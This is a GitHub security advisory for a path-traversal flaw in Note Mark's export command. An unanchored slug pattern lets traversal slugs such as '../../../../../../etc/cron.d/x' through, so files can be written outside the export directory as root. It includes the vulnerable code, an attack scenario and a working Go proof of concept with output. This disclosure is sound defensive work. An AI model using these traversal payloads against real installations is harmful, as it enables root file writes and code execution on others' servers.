GitHub Advisoryadvisory · Go
GHSA-rqrh-8wpv-x7hh Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)
HIGH
Official page ↗
- Aliases
- CVE-2026-50553
- Ecosystem
- Go
- Packages
- github.com/enchant97/note-mark/backend
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-20, CWE-22
- Reviewed
- 2026-07-09
Affected packages
• Go github.com/enchant97/note-mark/backend: < 0.0.0-20260601210719-67b7de04308a → fixed in 0.0.0-20260601210719-67b7de04308a
Description
Summary
Note Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:"[a-z0-9-]+"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim.
The data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.
This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` — used in the very same `path.Join` calls in the same two export functions — were left raw, and their input-side `pattern` guard is bypassable as shown above.
Vulnerable code
Slug input validation (`backend/db/types.go`, v0.19.4):
```go
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateNote struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}
```
huma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/[email protected]`):
```go
// schema.go
if s.Pattern != "" {
s.patternRe = regexp.MustCompile(s.Pattern)
```
```go
// validate.go
if s.patternRe != nil {
if !s.patternRe.MatchString(str) {
res.Add(path, v, s.msgPattern)
```
`regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim.
Export sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:
```go
// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw
for _, note := range book.Notes {
noteDir := path.Join(bookDir, note.Slug) // note.Slug raw
if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
return err
}
f, err := os.Create(path.Join(noteDir, "_index.md")) // escapes exportDir
```
```go
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))
```
Impact
A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.
Attack scenario
1. Attacker registers / uses any normal user account.
2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim.
3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root).
4. Exporter does `path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, "_index.md"))` writes attacker-influenced content outside `/data/backup`.
Proof of concept
Self-contained Go reproducer pinning `huma v2.37.3` (Note Mark's exact version) and Note Mark's exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.
```go
// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"os"
"path"
"strings"
"github.com/danielgtaylor/huma/v2"
"github.com/danielgtaylor/huma/v2/adapters/humago"
)
// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
Body struct {
Slug string `json:"slug"`
}
}
func main() {
mux := http.NewServeMux()
api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
var stored string
huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
out := &CreateBookOutput{}
out.Body.Slug = in.Body.Slug
return out, nil
})
const traversalSlug = `../../../../../../tmp/nmpoc-escape`
body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
mux.ServeHTTP(rec, req)
fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)
// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
negReq.Header.Set("Content-Type", "application/json")
negRec := httptest.NewRecorder()
mux.ServeHTTP(negRec, negReq)
fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)
// Export sink expression from backend/cli/migrate.go:187,191,203.
exportDir := "/tmp/nmpoc-exportroot"
_ = os.RemoveAll(exportDir)
_ = os.RemoveAll("/tmp/nmpoc-escape")
_ = os.MkdirAll(exportDir, 0o755)
bookDir := path.Join(exportDir, "victim", stored)
noteDir := path.Join(bookDir, "n")
_ = os.MkdirAll(noteDir, 0o755)
outPath := path.Join(noteDir, "_index.md")
_ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)
escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)
if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {
fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))
}
}
```
Verbatim output (`go run .`, huma v2.37.3, go1.26.1):
```
[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-…
Related
Alias · CVE (1)
- CVE-2026-50553 Note Mark is an open-source note-taking application. vulnerability